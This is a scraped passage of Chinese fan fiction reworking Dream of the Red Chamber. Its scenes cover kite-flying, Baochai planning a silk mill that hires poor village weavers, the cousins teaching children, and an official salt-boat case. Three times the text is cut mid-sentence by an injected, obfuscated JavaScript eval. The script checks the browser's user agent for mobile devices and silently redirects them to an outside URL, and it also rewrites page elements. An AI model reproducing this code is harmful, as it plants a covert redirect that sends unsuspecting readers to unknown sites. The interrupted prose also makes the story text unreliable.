黛玉也敛了愁绪,走到宝玉和探春旁边,接过了她们的礼物。 宝玉的是亲手做的桃花胭脂,探春的是一副自己写的字。 宝玉做的胭脂自不必说,其精致程度比起外面售卖的也不相上下。黛玉看后,道了谢。又展开探春写的字,上面是探春临摹的《兰亭集序》。 黛玉笑道“三妹妹有心了。” 宝钗见状,便凑过来说,“既然有现成的兰亭集序,不如咱们今日诗社便以花朝踏青为题,如何?”说罢,揽着黛玉肩膀,轻轻晃了晃,等她回答。 黛玉点点头,轻声说“这好极了。”说罢,又靠在了宝钗怀里。 宝钗从袖中拿出一块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黛玉看着四处玩耍的姐妹们,抚起了琴。琴声飘渺如风中柳絮飞散,丝丝缕缕,传到了众人的心中。 贾政看黛玉抚琴,眼中满是赞赏。他看到旁边的林如海,神情中半是喜欢半是疼惜。贾政叹口气,知道林如海定是从女儿身上模糊看到了亡妻的影子。便也不打扰他,起身去与探春放风筝。 宝玉看到贾政过来,就将手里的风筝递给父亲,自己去听黛玉弹琴。黛玉处此时围坐着宝钗香菱和袭人。 贾政笑笑,与探春比赛放起了风筝。 可是贾政故意使坏,他的风筝总是碰到探春的,弄得探春的风筝总也飞不高。 “不玩了,父亲欺负我!”探春气恼地跺跺脚,仍没有松手。 “已经说了是比赛了,如何又怨我欺负你呢?”贾政笑道。 此时,忽然又飞过来一只燕子风筝,狠狠撞到了贾政的风筝,贾政一时惊讶,手上松了力气,风筝摇摇晃晃落地了。 探春却很高兴,正要笑父亲,忽听到父亲一句“夫人你也不管管妹妹,故意害我!” 王夫人笑笑并不说话。 原来是薛姨妈见探春受了欺负,便与王夫人想出此法,来帮探春。 探春高兴地一只手抱住姨妈,连连道谢。 薛姨妈小声道“是你母亲让我来帮你的。”探春一双眼睛看看父母亲,偷笑一声,就与姨妈放风筝去了。 “孩子难得高兴,老爷也不让让,难道偏要赢了她不成?”王夫人笑道。 贾政并不回答,叹口气,又说道“本来飞得那么高,真是可惜。”还故作遗憾,跺了跺脚。 王夫人无可奈何,不理会贾政此言,自己捡起了掉落的风筝,又递给他。 “夫人拿着线轴轮,我去放。”贾政将风筝的线轴轮放到王夫人手中,叮嘱道“一定要握紧,不要轻易松手。” “这次还是要比她们放得更高。”贾政看看远处的探春与薛姨妈,笑道。 贾政举起风筝,逆风小跑了一会儿,感到线被风轻轻拽着,才放开手。说道“夫人慢慢放线!”王夫人就配合他。不一会儿,风筝重又飞高了。 此时薛姨妈与探春也缓步走到他们这里。 探春道“父亲还要与我比吗?”说罢,看了一眼自己那只高飞的仙鹤风筝。 贾政也不气馁,笑道,“我担心有人与你打配合,最后又是我输。” 王夫人自然知道贾政在说自己,笑了笑,并不搭话。 “你们母女俩心意相通,我嘛···”贾政说到这里,趁夫人不备,抢过了她手中的线轴轮。 得逞之后,贾政看着探春,勾起一个笑容。 探春便说“父亲,咱们再比一次!看看谁的风筝飞得更高!” 43.春日暖农田做学堂 本朝初建,太祖皇帝将立了大功的八大经商家族,封官授爵,御封为皇商。 其中金陵薛家主管丝织产业,专为宫廷供应织品和绸缎。只是后来薛家后继无人,也就渐渐比不上另外几家了。 在薛宝钗父亲去世之后,家中竟然再无支撑门户的男子。 之后薛姨妈在贾政的建议下,在内务府销去了这一差事。幸而薛家在江南地区和京城的其他产业也做得很好,薛家不至于彻底衰败了。 自从在贾政的暗中支持下,宝钗就揽过了家事。宝钗天生经商头脑,处事周全不说,眼光也很敏锐,她选定的一些生意,每件都赚钱。 一年多来,薛家的大小管事们,也都很信服薛宝钗。 新年伊始,宝钗正暗自找寻新的商机。可巧被黛玉提醒了一句。 倒也是一件小事,那日天气和暖,姐妹们在花园中玩耍。 黛玉的外衫不小心被横出来的树杈划破了一道。 黛玉当时便不太高兴,瘪嘴说道“舅妈才给我做的春衫,可是上好的浮光锦呢!”说罢,遗憾地摇了摇头。 “林姐姐别难过”探春安慰道“母亲那里好像还有料子,我就说咱们都很喜欢这种布料,去求母亲再为咱们每人裁两件,不就好了。” 黛玉又摇摇头,说道“倒不是很可惜这料子,只是舅妈一片心意,在我生辰时特特送我的,如今划破了,总感觉不是吉兆。” 宝钗从来不喜欢在衣服首饰上下功夫,她的衣物在姐妹中很是朴素。今日听了黛玉一句话,突然笑了出来。 “好个宝姐姐,我正发愁呢,你却拿我取乐!”黛玉跺跺脚,有些生气。 “好颦儿,别生气!”宝钗起身将两手搭在黛玉肩上,笑道“只是你一句话提醒了我一件大事,我才笑的。” “什么事情?”黛玉问道。 宝钗摇摇头,故作神秘“以后再告诉你!” 黛玉哼了一声,又道“总是我白叫了你这些日子的姐姐,你又取笑我,又故弄玄虚,真不是好人!” 正巧王夫人与薛姨妈也来散步,便碰到了这个场面。 薛姨妈搂着黛玉,笑问道“谁惹黛玉生气了?让我看看,怎么脸都皱成这样了?” 黛玉头埋进姨妈怀里,从缝隙中看一眼宝钗,正与宝钗视线相撞,黛玉就故意瞥了她一眼。宝钗笑笑,并不辩解。 探春搂着王夫人手臂,凑到母亲耳边说了刚才的事。 王夫人笑笑,摸摸黛玉脸颊,说道“衣服不小心划破了有什么好担心,我一会儿就吩咐裁缝,再为你做两件,可好?” 黛玉抬起头,不好意思地笑了笑“那是舅妈特意送我生辰那日穿的,今日划破了,便觉得不太吉利···” “净想些七七八八的,哪有这种说法呢?”王夫人劝道,“你若不信,便去问你舅舅,他总是知道一些奇奇怪怪的习俗。” 黛玉点点头,又想到贾政素日的劝慰,舅舅劝人总是用玩笑话来劝,让人只顾上笑,全然忘了忧虑。黛玉想到这里,不觉笑出了声。 “这不是又好了吗,三丫头还让我和你道歉,我却知道你并没有生气。”宝钗挽住黛玉手臂,又在她额头轻轻点了一下。 “怎么不见宝玉?”王夫人笑问。 姐妹三个闻言相视一笑,探春说道“昨日诗社二哥哥又落了第了,我们罚他抄佛经,一天都不许出来玩!” 黛玉宝钗听了,便靠在一起笑,看王夫人反应。 王夫人点点头,说道“很该如此,宝玉性子跳脱,也应该抄些经书磨练磨练。”待又要说时,被薛姨妈打断了。 薛姨妈笑道“姐夫前儿还说呢,纵使不让宝玉读书考学,他的性子也需要磨练,不然总是知难而退,以后什么事都做不好。” 薛姨妈说罢,又道“姐姐,我记得可清楚?” 王夫人一笑,并不回答。薛姨妈摇摇头,笑道“也许没有姐姐记得清楚呢!” 王夫人微微红了脸,不好理论。 探春看出了其中内涵,便说“咱们去看看父亲新栽的花儿,有一些已经冒了花苞了!”说罢,一左一右挽着王夫人和薛姨妈的手臂,往前走了,还向宝钗黛玉使了个眼色,示意跟上。 宝钗心里既有了规划,就抽出两天时间,仔细研究了扬州地区民间丝织业的相关情况。待自己大致计划好了,就想再与贾政商量商量。 虽然薛家许多管事对丝织业都很内行,只是宝钗为求稳妥,想看看贾政的意见。 贾政听罢,也很赞赏,便道“的确应该如此,虽说只要守好本有的家业,你们家便没什么可担心的。只是我知道你志向远大,肯定不满足于眼前的一点产业。再谋其他的行业也是很好的。” 宝钗听了,心里也欢喜,就为贾政倒了杯茶,待他的下文。 贾政又说“按理来说,你们家本来就是主管宫廷织品供应的,如今虽然不为宫里做事了,之前那些管事们对此事也是得心应手,再进入这个行业,自然比较轻松。” “只是我想,如今的丝织业已有不少官家产业与民间产业,产出的丝织物想必已足量了。你若想做这个生意,可想好自己有何优势呢?”贾政问道。 宝钗听罢,点点头,便道“姨夫说得在理,我也考虑过这个。” 想了想,又继续说“我的想法是,主做两类货物,一种越精致越华丽越好,并不为赚钱,是为打出名号,如何打出名号的方法我也考虑好了。另一种便是面向平民百姓,做得适合干活时穿,又要结实耐穿又要价廉物美,这是我主要想做的。” 宝钗说罢,看贾政神情中很是赞同,又道“另一种,我想试着做一些洋人喜欢的品类,这不一定能做得好,只是一种尝试。”宝钗说完,静待贾政反应。 虽然宝钗所说的,贾政也都想到了。就如之前京郊的炭窑,贾政所做的商业安排与宝钗方才所说,大致相同。只是他能想到宝钗所说的这些,是因为他受过现代教育,而宝钗却没有。 在市场饱和的情况下,宝钗能想到开发更多消费群体,并且扩展销路,将产品销售到国外。无论成功与否,这种周全的考虑与大胆的创新,本身就很值得夸赞。 足以见得,宝钗是个目光长远,眼界开阔的人。 贾政笑笑,便说道,“你说得很对,我再没有什么要说的。你若做好决定了,需要打点各处官员,只需告诉我。其他的,我也帮不到你了。” 宝钗也笑“姨夫总是自谦,我对洋人一无所知,姨夫似乎很是了解呢!若真要做这个生意,更少不了姨夫的指点。” 贾政难得有些不好意思,便说“你看过那本书了?”贾政所说,便是黛玉生辰那日,他送给黛玉的礼物。 宝钗点点头,她们姐妹几个都看过了,很是惊叹贾政写的故事。其实贾政只是凭借记忆,写了几篇莎士比亚的故事。 贾政笑笑,便道“了解国外的人很多,只是你们并没有发现,若真要做生意的话,还是要找一些熟悉语言,并去过那里的人才好。我也只是道听途说罢了。” 正值农耕时节,白鹿书院的晏乐先生与青崖书院的时清先生商议后,决定带着两所书院的学生,同去周边乡村了解农户生活。 因为先前有过救灾的经历,钗黛姐妹四个并无丝毫不习惯的。到了农户家里,也很是自如。晏乐先生便更对她们欣赏几分了。 “宝玉,你不好好跟在时先生后面,跑来这里做什么?”黛玉打趣宝玉道。 宝玉却笑“我们书院统共三四个人,何必与你们分得那么开,大家穿插着走,既认识更多同学,又能说说笑笑,岂不更好?” “再说了,时先生不也是老要跟在晏先生身旁吗?”宝玉手指了指时清,笑道。 姐妹几个顺着看过去,果然是晏乐正与时清说笑。二人也不知道说些什么,看起来却很有趣。 两位先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992724|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生先是带着学生们在农田中走了走,若遇到耕农,便随口交谈几句,并与学生们讲一讲耕农种些什么,又是如何收成的,诸如此类。 又遇到一大片稻田,时清来了兴致。他走到水渠旁,示意学生们也跟过来看。晏乐也同时示意白鹿书院的学生去看。 “江南地区的稻田大多是引河水或者湖水灌溉的。往往有一水车,或人力踩水车,或用牲畜,以此产生动力,将水流引到田里。”时清顿了顿,看学生们听得认真,就继续道: “你们看这位老伯和婶子正在插秧,都需要挽起裤腿,赤脚踩到水里,很是辛苦,也容易被一些虫子叮咬,又如一种叫水蛭的虫子,咬一口定要吸饱了血···” 学生中有几个家中本来就是农户,此时听了,也很是赞同地点头,深有体会。 时清说罢,又看晏乐。晏乐笑了笑,接着时清又道“你们中有谁知道水稻如何施肥吗?” 有几个农家学生便回答,是榨油后剩的豆渣或其他的废料。 晏乐点头赞道“咱们书院的同学出身不同,因此每人了解的事物也就不同。有些农户家的孩子懂许多耕种之事,而富贵家的孩子却对吃穿玩物很是精通。这并不能说明谁聪明或者谁比较笨,只是因为不同的成长环境产生的差异。” “我与时先生总喜欢带你们到各处走走看看,并不是懒得教你们读书,只是想让你们了解到更多种生活的面貌。贫穷不是一时的,富贵也很短暂。你们如今多看多学,日后总能用得上的。”晏乐说罢,笑了笑。 这是晏乐创办白鹿书院多年来一直秉持的理念。所谓“有教无类”,她从不因为学生的出身而选择他们,只看重学生个人的品质。 而时清,也是受到了晏乐这种理念的影响。她们也都曾是富贵家庭出身,而现在,她们都只是书院的教书匠。 从稻田离开,先生们又带着学生去了村里的一处私塾。私塾的先生是晏乐的好友。在私塾歇了一会儿,晏乐和时清便让学生们去村子里随意走走。 “宝姐姐,你这几日忙些什么呢?在家里都总见不到你。”探春想到此事,便问宝钗。 黛玉也是好奇地等宝钗回答。 宝钗因为已经完成大半,也不再隐瞒,笑说“打算筹建一处丝织厂,比较忙,没顾得上与姐妹们玩。” 黛玉了然笑笑,又道“我就说呢,定是正经事务,不然也不会累得眼纹都有了。” 探春着急在宝钗脸上看了看,问道“林姐姐胡说,我却看不到。宝姐姐才十几岁,不过是熬了几天夜,哪有你说的那么夸张?” 宝钗笑了笑,知道黛玉在开玩笑,也并不很在乎,挽着黛玉和探春在村子里边走边看。 正是农忙时候,村子里多是老弱妇孺,零散几个小孩子四处玩着。爬树摘花,追赶打闹,很是活泼。 宝钗眼尖,看到拐角一处屋子,正有一个妇人在用织机织布。宝钗起了兴趣,就想看看。 三姐妹便相携着走到那户人家门口,宝玉觉得无趣,和其他同学去玩了。那农妇姓刘,见她们过来,就笑了笑,招呼了一声。 宝钗有意想说说话,只是看到她忙着织布,就不好开口。 黛玉却笑道“婶子,这些布匹都是您织的吗?可真好看!” 刘婶笑了笑,便道“姐儿逗我,这布你们怎么能看得上呢?”只是黛玉一句夸赞她也开心,就起身为三个姑娘倒了水,端给她们喝。 黛玉边喝水,边故意看一眼宝钗。 宝钗也不分辩,笑问道“婶子,你们村里家家都有织机来织布吗?” 刘婶道“怎么可能呢?织机也不是每家都买得起的。我家男人是个残疾,干不了农活。家里全靠我,只是我又要伺候他,不能出去干活,就借钱买了织机。既不用出门,好歹也有些钱赚。”说罢,又坐了下来忙着织布了。 黛玉和探春知道宝钗必定有正事要问,也不着急催促。 44.遍身罗绮者不是养蚕人 宝钗因心中有事,便继续问道“婶子,您织好的布匹是怎么售卖的呢?” 刘婶笑笑回道“也织不出来多少布匹,攒的多了,或是拿到集市上卖了,或是让牙子收了去。” 又补充道“自己去卖费点功夫,但能多要点钱,牙子来收的话,钱就少一点。” 宝钗暗自点点头,这与她先前了解到的大致相同。 便又问“婶子,你们村子里专做织布纺线的人多吗?” 刘婶耐心答道“我们村子里大约有十来户吧,隔壁村子比较多,好像是说他们和城里的织厂定好的了,统一来收。” 宝钗很是感谢刘婶的耐心,便笑道“多谢婶子了。” 黛玉看宝钗关心此事,知道她必有打算,就也问道“刘婶,若是有城里的织厂也来你们村子找人收布,那样好不好呢?” 刘婶笑了笑,又道“你们不懂这些,织厂大都不愿意和我们这种零散的织户做生意,人家还嫌麻烦呢!除非哪个人的手艺特别好,那就是另外一回事了。” 探春看到宝钗和黛玉都没继续再问,便说道“打扰婶子了,我们就先走了,改天有机会再来拜访。” 刘婶听了,招呼了一声,也没起身来送。 “三妹妹,你看宝姐姐的神情,不一定又在盘算什么呢?”黛玉见宝钗走出刘婶那里,便凝神思考,于是笑道。 探春挽着宝钗,怕她因为太专注而跌了跤,又道“宝姐姐也许是想与刘婶她们合伙吧,这也是好事一桩呢!” 宝钗也回了神,道“近日因要筹建纺织厂,我就想去哪里招工匠。” 黛玉笑说“宝姐姐家里不是一直做这个的吗?那些管事们想必都很内行呢!” 宝钗笑道“颦儿说的在理,我本来也是想吩咐他们按照以前那样招募一批工匠。”顿了顿又道“只是今日见了刘婶,我又想到了一个主意。” “我知道了!”探春打断了宝钗的话。宝钗和黛玉就笑着等探春后文。 “宝姐姐想招附近村子里的姐姐婶子们来厂里做织娘,或是有的不能来厂里,就像刘婶那样在家里织布,然后你派人来统一收购!”探春说罢,得意的看看姐妹,等待她们的夸赞。 黛玉却道“我早就猜出来了,故意不说的。” 探春哼了一声,又看宝钗。 宝钗笑着揽住两姐妹,便说“探春说对了一半。”黛玉听了,就戳了戳探春鼻尖,被探春在手上轻轻拍了拍。 “听我说嘛!”宝钗揽着两姐妹坐到了村里的大青树下。 宝钗道“我想主要招募那些家中有困难的妇人们。或是要赡养老人的,或是守寡的,或是孩子多生活贫困的。她们愿意到厂里做活的,既有吃住的地方,我又另辟一处地方,找几个人帮她们照顾孩子。” 顿了顿,又道“若是不方便来厂里的,就像刘婶说的那样,每月定了数量,统一来收,也省了她们的功夫,岂不便宜?” “这样好!宝姐姐安排得如此周到,不愁找不来手艺好的绣娘!”探春拍手笑道。 “宝姐姐若是找人帮绣娘们看孩子,要不要再找先生教孩子们识字呢?”黛玉道。 宝钗听了,刮了下黛玉的鼻尖,笑道“咱们想到一处去了!” “只是这样的话,会不会开销太大了呢?别的纺织厂大约没有这样周全的安排吧?”黛玉略有些担心。 探春看着宝钗,她对此事也不太了解。 宝钗道“做生意,赚得多也是赚钱,赚的少了也是赚钱。”又看看黛玉探春,见她俩仍认真要听,就继续道“既然有机会做些善事,何乐而不为呢?再说了,虽然开销大了,但不一定咱们不能赚回来呢?” “就是了,总说宝姐姐是再世陶朱,一点也不错!”黛玉笑道。 “好极了,我们能去看看吗!既然要找人教小孩子识字,我们几个闲时也可以去吗?”探春问道。 宝钗想了想,便道“这只是我初步的打算,也不一定可以做成,你不要期待太早。” 探春听了,摇摇宝钗手臂,笑道“才不信呢!但凡宝姐姐计划好的事,哪有做不成的呢!” 探春说罢,又凑到黛玉耳畔说了句话。 黛玉听罢,也摇晃宝钗手臂,说道“宝姐姐不公平,赚钱的事从来不带着我们,却和舅舅一起谋划!” 宝钗无奈笑笑,说道“你也不说姨夫帮了我多大的忙!哪有外甥女嫉妒舅舅的道理?再者说,林姑父也忙,我哪里敢拐着他的宝贝女儿去做生意呢!姑父若是知道了,岂不痛骂我一顿!” 黛玉本就是故意逗宝钗的,听她说了这句,便又说道“我父亲才不是那样的呢!”说罢,毕竟也底气不足,没有那么理直气壮了。 林家出身清贵,林如海若是知道了此事,不一定会同意黛玉和宝钗搅和在一起做生意的。 两个未出阁的姑娘做生意,在他眼中的确不太合适。宝钗打理薛家的生意是无奈之举,林如海也很体谅,只是也不愿意自己的女儿沾染这些事情。 “我不管,宝姐姐无论如何说,我总是要预定一个教席的!”探春抱住宝钗,故意晃她。 “再晃就要晕了,我答应你们还不好吗!”宝钗也受不了探春如此痴缠,无奈妥协。 “林姐姐,你看宝姐姐,总是不能一开始就痛痛快快答应咱们!”探春揽着黛玉,笑说。 黛玉也不再想其他的事,若日后真有打算,大不了去求舅舅,让他去和父亲做说客罢了。 “咱们回去告诉姨妈,让姨妈罚她!”黛玉哼了一声,挽着探春手臂就要走了。 “我这不是答应你们了,何苦生气呢?”宝钗对这两个妹妹实在没办法了,摆了摆手故意自己一个人走了。 探春和黛玉自然知道宝钗是装的,她不会那么容易生气的。两人对视一眼,上前一左一右挽着宝钗手臂,黛玉笑道“宝丫头又使大姐姐脾气了!” 探春点点头,“回去问问姨妈,为什么不将宝姐姐晚生几年,来做咱们的宝钗妹妹呢?” 宝钗一旦有了计划,就开始紧锣密鼓地准备。 织机已经定下了八百架,就待一个月后做好。这段时间里,宝钗吩咐了手下几个管事,去各村招织娘,所有条件都按照她计划好的。 因为宝钗给出的条件实在太好,又极适合家中有困难的妇女,因此不到一个月,织娘也已齐备。 只是宝钗亲眼看过了这些织娘各自的艰苦情况后,于心不忍,又给她们的月钱添了一些。吃食住所也都比其他丝厂要好。 如此安排了,宝钗才觉得自己好受一点。 其间,薛姨妈知道了宝钗正筹备的事情,也很欢喜。女儿心善又能干,薛姨妈心里不知有多么满意。便总是在宝钗与管事们议事时,也在旁待着,为女儿做后盾。 宝钗忙着筹备丝厂,宝黛探三姐妹也很忙,姐妹几个准备着教小孩子识字。 “我觉得这本开蒙书并不好!孩子们都是穷苦人家,最好是教他们一些立刻就能用到的,这样他们也愿意一直来学,而不是知难而退了。”黛玉道。 宝玉合上了自己找来的几本开蒙用书,有些泄气,便道“找了这么多,你都觉得不好,我再也找不到了呢!” 探春看宝玉不高兴,便说“二哥哥总是这么容易放弃,忘了父亲怎么说你了吗?” 宝玉也是一时不满罢了,就笑对探春说“那么你去找书吧!我无能为力了。”说罢,歪在了软榻上。 黛玉正自思索,也不理会宝玉。踱步思考了一会儿,黛玉突然说道“不如咱们自己来写一本!” “黛玉要写什么书?”黛玉听到声音,回头一看,果然是贾政笑盈盈进来了,身后进屋的是王夫人和薛姨妈。 黛玉便略行了礼,抱着贾政手臂说道“舅舅,你知道宝姐姐要找人教织娘的小孩子们读书吗?” 贾政笑着点点头“宝钗说你们几个自荐当先生呢!” “刚从宝钗那里过来,她正忙呢,我们就来看看你们几个。”王夫人笑说。探春挽着母亲,扶着她坐到了炕桌前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998941|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我也觉得宝钗这件事办得妥当,到时候开工了,少不了亲眼看一看去。”薛姨妈也说。 探春拿了茶壶,为母亲和姨妈倒茶,又倒了一杯端到贾政面前。 贾政没有接过来,故意道“探春肯定有事求我,我还是先不要喝茶的好!”笑罢,坐到了王夫人旁边。 “女儿有事找你,哪有做父亲的故意推脱呢?”王夫人说道。贾政轻拽夫人的袖子,没有搭话,笑看孩子们的反应。 “若我有事找舅舅帮忙呢?”黛玉笑道。贾政却也摇摇头。 黛玉看一眼宝玉,宝玉摊摊手,表示爱莫能助,拿自己的父亲没办法。 黛玉见状,计上心来,她和探春对视一眼,便互晓心意。 “舅妈,你管管舅舅好不好?”黛玉边撒娇边摇着王夫人手臂,探春也是同样。王夫人没了办法,就看一眼贾政。 贾政笑道“你们姐妹太聪明,所谓擒贼先擒王,少不得我这个小兵要听你们吩咐了!” “谁是贼王?”王夫人道。 贾政反被逗笑了,拈了一块点心递给夫人,也不回答,笑道“先吃块点心。” 说罢,贾政随手拿起王夫人用过的茶杯抿了一口,便说“你们不满意找到的启蒙教材,想要自己写,是不是?” 宝黛探三姐妹便点点头。 “却不知道如何来写?”贾政又问。 三人又点点头。 贾政便笑,“那有什么难的,你们几个只是没有写过书,也不敢写,心里太敬畏了,反而受了束缚。” 又道“对那些孩子们来说,学字最重要是即刻就能用到的,比如各种常用物品的名字,数字,或是账本里常见的。那些店铺里的小伙计刚开始学习时,也是学这些的。” 黛玉便点点头,说道“万一他们不愿意学,或是不听话呢?我们总不能教训他们吧。” 探春宝玉都静待贾政回答。 贾政想了想便道“孩子们也许比较顽皮,玩闹惯了,耐不下性子来学。我想你们不如将要教的常用字编成一些押韵的歌谣,又好记,又可以唱。孩子们说说笑笑,既觉得好玩,也学会了写字。” “父亲说的有道理,启发了我好多。”探春说道“林姐姐你不是写了好多故事吗?不如也编一些可以学字的小故事教孩子们呢?” 林黛玉写故事本是暗中进行的,她不好意思被人知道,此时却被探春不小心说了出来,就有些脸红,说道“哪有写什么呢?三妹妹胡说了。” 探春也发觉自己口快说错了话,便和黛玉道歉。 贾政却说“我觉得以黛玉的才华,日后定可以成为一代文豪!比肩李清照和谢道韫。写文章故事都是好事,不要不好意思嘛!”贾政先夸黛玉,又逗了她一句。 “林妹妹写的故事在哪里?我也想看看呢!”宝玉道。 “还不能给你看。”黛玉轻声说了一句,就歪到了王夫人怀里。 王夫人便将黛玉搂着,一下下抚摸黛玉脊背,与她絮絮说着家常。宝玉见状,也窝进薛姨妈怀里。 “父亲,那本书里的故事都是你写的吗?”此时贾政坐到了书桌前,探春便跟了上去问道。 贾政点点头,问道“喜欢看吗?” “里面的故事很新奇,与先前听过的都不同,我们都很喜欢呢!”探春说道“林姐姐也许是看了那本书,才想自己也写一些什么吧!” 探春又问道“在大海上航行是怎么样的?威尼斯和英国又在哪里呢?” 贾政看出探春关注更多的是书中异域的风物,便详细说了自己知道了关于威尼斯和英国的事情。 探春便叹口气,说道“我也想乘着大船,站在甲板上,看一看一望无际的海面。” 又道“也去那些地方走一走,看看父亲写的人物是不是真的存在过呢?” 贾政便笑,摸了下探春的头,说道“你日后想做什么便和我说,父亲总是支持你的。” 探春笑得眯了眼睛,露出两颗尖尖的虎牙。 45.花谢花飞花满天 扬州水务衙门,齐鸣急匆匆拿着邸报呈给贾政。 贾政接过去看,齐鸣便解释道:“南河苏北一段,昨日翻了一只官船,是运送官盐的。” 齐鸣见贾政神情还算冷静,又问“大人有何打算?” 贾政看完了邸报,没有回答。他想了想又问“按理来说,此案应当联合盐政衙门一起查办。” 齐鸣点点头,回道“那边的林大人也得了信。” 贾政从桌案后面走出来,吩咐道“咱们便去那边走一趟吧!也省得来回通报了。” 贾政和林如海聚到一处,分析了手头现有的信息,并没什么重要发现,二人本打算亲去调查,只是过了两日又收到邸报。案发现场所属的荷州县令,吊死在了家中。 又经搜查,这个县令的书房竟然藏了五万多银子。这似乎将案件引到了一个明朗的结局。 县令与贼寇联手,抢了货船,贪了五万银子的赃款。只是这个县令何故吊死了呢? 贾政和林如海都认为其中必有文章,便想深入调查。可巧,圣旨到了,却是嘉奖他们的。 说他们两个衙门案子办得好,如此短的时间就查到了赃款,那县令如今身死,就当是处置过了,货船倾覆一案也就此了结了。 “真是奇也怪也!”贾政叹道“本来是这么大的一件事,却还没有如何去查,竟然莫名其妙就结案了!” 林如海笑笑,站到了窗边,却叹了口气,说道“殊不知这官场的奇事怪事多着呢!存周何故做此感叹呢?” “只是这其中的隐秘却永远埋进水底了。”贾政又道。 林如海又走到贾政身边,轻声说道“西北那边的战事存周可知情?” 贾政摇摇头,只待下文。 “听说那里打了几场败仗,又有官员在其中闹事,钱粮也很短缺。”林如海道。 “如海以为这两件事有关联?”贾政又问。 林如海摇摇头,又道“事情扑朔迷离,咱们都没有置身其中,如今所说的也只是猜测罢了。” 贾政便说“知道的多了也不好,知道的少了也不行。这官场也真是难做啊!” “如今圣意明确,此案已经盖棺定论,咱们也没理由再操心。”林如海拍拍贾政肩膀,劝道。 贾政笑了笑又说,“大概凡是要酝酿一个大阴谋时,总有许多边缘人物因为看不真切,想要凑近些,最后便无端与这阴谋陪葬了。” 林如海懂他意思,也没多说,二人相视一笑。 宝钗筹备许久的丝织厂也已开工,凡事都按着她的计划进行。黛玉探春宝玉自荐要教织娘们的小孩儿认字,此时也上了一个多月的课了。 因为她们姐妹几个自己也要去书院学习,便每月只有五六天的时间去教小孩儿。宝钗另请了两位女先生教导孩子们。 黛玉和探春在为小孩儿编写童谣时,突发奇想,竟然写了两个小故事出来。模仿的是贾政那本书中的内容,她们的成品也很类似后世的话剧。 只是单单在姐妹中一起读了,却并不过瘾。 “不如咱们几个将这故事演出来?”探春建议道。 宝钗最先反对,“我觉得这样不好,咱们姑娘家哪有去演戏的道理?” 宝玉却闹道“咱们几个只是在家里演一演,横竖只是亲近的人看到,又传不到外面,宝姐姐担心什么呢?” 宝钗自觉在姐妹中居长,便认为自己有义务不时教导姐妹们。只是她毕竟也有淘气时候,又经不住黛玉和探春的苦劝。 “你们总是仗着姨夫疼你们,便无法无天了。”宝钗笑道。 探春却说“父亲若是知道了,应该也会赞成。就像二哥哥所说,咱们到时将其他人都打发了,只留几个长辈,和袭人香菱一起来看,更没有什么可担心了。” 黛玉也来帮腔“很是如此,不过玩一玩罢了,宝姐姐怎么又这样严肃起来了呢?” 宝钗便笑“总之在姨妈和母亲那里,我是要表明立场的。” 黛玉摇摇头说道,“既然要让长辈们同意,肯定要去找最容易被说服,说话又最有分量的那个人。” 探春搂着黛玉肩膀,笑道“我和林姐姐一起去!” 黛玉要先攻破的人自然是贾政。 只是姐妹们提前准备了那么多说辞,却没有派上用场。 贾政一听她们要做什么,直接就同意了。并自愿要去说服王夫人与薛姨妈。 “我知道你们很惊喜很意外,只是也别都杵在那里,都没有人来为我倒杯茶喝吗?”贾政故意笑道。 “父亲怎么答应得这么痛快?”宝玉问道。 贾政便说“你们姐妹几个相伴日子有限,不趁现在多玩玩闹闹,日后回了京城,又要被拘起来了,到时哪有半点轻松自在?还不如趁现在让你们任凭性子多玩玩呢!” 孩子们听了也都有些伤感,如今在扬州的生活的确是太自在了。 探春笑着挽住宝钗和黛玉,说道“怎么反而发起愁了呢?父亲既然答应了,咱们就快去准备,我想就定在芒种那日,大家一起看戏如何?” 黛玉宝钗点了点头,宝玉却在旁边暗自出神。 农历二月花朝节迎花神,到芒种时,百花凋谢,便到了饯送花神的时候。 孩子们也不知道贾政使了什么手段,总之芒种那天,林如海贾政,王夫人薛姨妈齐聚在贾府,花园中的一应物事,也都准备齐全了。 花瓣锦重重地落了一地,王夫人没有让人扫去,任花瓣堆叠,为孩子们的表演做天然的置景。 今日的重头戏自然是观看表演。待众人都入了席,王夫人便将伺候的丫鬟们都打发走了。 桌子随意摆着,孩子们的舞台是整个花园。贾政林如海一桌,王夫人薛姨妈一桌,香菱袭人一桌。 黛玉和探春写的话本只有两幕,写的是一个小女孩的故事。 黛玉自己扮演小女孩儿,探春是妹妹,宝钗是母亲,宝玉是小厮。 黛玉和探春大概讲了一下故事内容,看到长辈们兴趣盎然,并没有什么不满的地方,也就放了心。 “那就开始吧!”贾政说道。 第一幕 “妹妹你看,这么好看的花瓣落了一地,多可惜啊!”黛玉蹲下身子,捧起了地上的花瓣。 探春道“姐姐说得是,要不咱们捡一些回去做胭脂怎么样呢?” 